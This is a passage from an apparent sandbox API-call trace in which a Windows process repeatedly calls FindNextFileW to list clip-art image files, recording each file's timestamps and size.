ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0195.995] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0195.995] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0195.995] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0195.995] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0195.995] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0195.996] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0195.996] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0195.996] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0195.996] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0195.996] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0195.997] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0195.999] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0196.000] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, 